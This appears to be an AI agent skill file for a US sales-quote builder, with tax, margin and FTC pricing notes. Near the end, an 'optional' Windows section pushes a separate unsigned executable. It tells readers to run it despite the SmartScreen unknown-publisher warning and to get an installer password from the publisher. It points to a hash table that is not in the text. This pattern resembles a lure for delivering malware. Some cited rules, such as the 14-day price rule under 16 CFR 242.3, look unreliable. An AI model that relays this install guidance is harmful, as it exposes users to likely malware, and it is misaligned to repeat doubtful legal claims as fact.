US Quote Builder

Builds a US customer quote with line items, sales tax treatment, margin and total, and a stated validity date. Written for US sales teams and small businesses that send written quotes to buyers.

Use this skill when someone asks for:

• us quote template
• sales tax on a quote
• quote builder with tax
• price quote template us

The job

Quotes go out without saying whether tax is included, and the deal later stalls because the buyer sees a different number at checkout.

What you get

1. Collect the line items, the cost basis and the buyer's ship-to state.
2. Add the margin and the tax line, and state the tax treatment in words.
3. Set the validity date and the terms that travel with the quote.
4. Flag anything the price depends on, so a scope change does not change the number silently.

Output contract:

• quote - numbered line items with quantities, unit prices and the total in USD
• tax_block - the rate, the jurisdiction and whether tax is included or added
• totals - subtotal, tax, total and margin on one screen
• validity - the expiration date and the conditions that change the price

US specifics that matter

• Sales tax in the US is imposed by states and local jurisdictions; there is no federal sales tax.
• Following South Dakota v. Wayfair, 45 states and the District of Columbia have adopted destination-based sales tax rules.
• The FTC price advertising rule at 16 CFR Part 233 requires an advertised price to be a bona fide offer.
• 16 CFR 242.3 requires an advertised price to be available for at least 14 consecutive days, unless the sale is a genuine clearance sale of seven days or less.
• Most states set economic nexus around 100,000 dollars in sales or 200 transactions, though several use higher thresholds.

Guardrails (hard rules)

• Never quote a tax rate without confirming the buyer's ship-to state and local jurisdiction.
• Never change a quoted price after the buyer accepts it without a written change order.
• Never present the tax calculation as legal or filing advice; the buyer's accountant confirms the position.
• Never leave the quote without a validity date.

Quickstart

1. Fill in the brief

templates/quote-sheet.csv is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

python3 scripts/build_quote.py --input quote-sheet.csv --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/us-quote-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Tax on a US quote

• Sales tax is a state and local charge, not a federal one.
• State the tax as included or added on top, and name the jurisdiction.
• If the buyer claims exemption, ask for the certificate and record it with the quote.
• Goods and services are taxed differently in the same state, so check the category, not just the state.

Price advertising

• An advertised price has to be a bona fide offer a real buyer can get at that time.
• 16 CFR 242.3 expects the advertised price to hold for at least 14 consecutive days outside a genuine clearance sale.
• Avoid comparisons unless the two prices are like for like.
• A discount claim needs the baseline price it was measured against.

Quote mechanics

• Number the line items and keep the unit price visible next to the quantity.
• Write the validity date in full, for example valid through March 31, 2026.
• State what moves the price: scope, volume, timeline and freight.
• Keep the quote, the follow-ups and the acceptance with the deal record.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Check the download before you run it. PowerShell:

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

• SKILL.md - this file
• references/us-quote-rules.md - US quote, tax and price advertising rules
• templates/quote-sheet.csv - the brief to fill in
• scripts/build_quote.py - the working script

Verify the bundle

python3 scripts/build_quote.py --input quote-sheet.csv --out ./out

Related

• AI Creative Studio - one brief into ad copy, social posts and video scripts.
• B2B Lead Research Agent - find the US accounts to run this against.
• AI Trading - research the tickers of public competitors before you write comparisons.
• Windows Multi-Tool Suite - one Windows kit that sets up all three workflows in a single folder.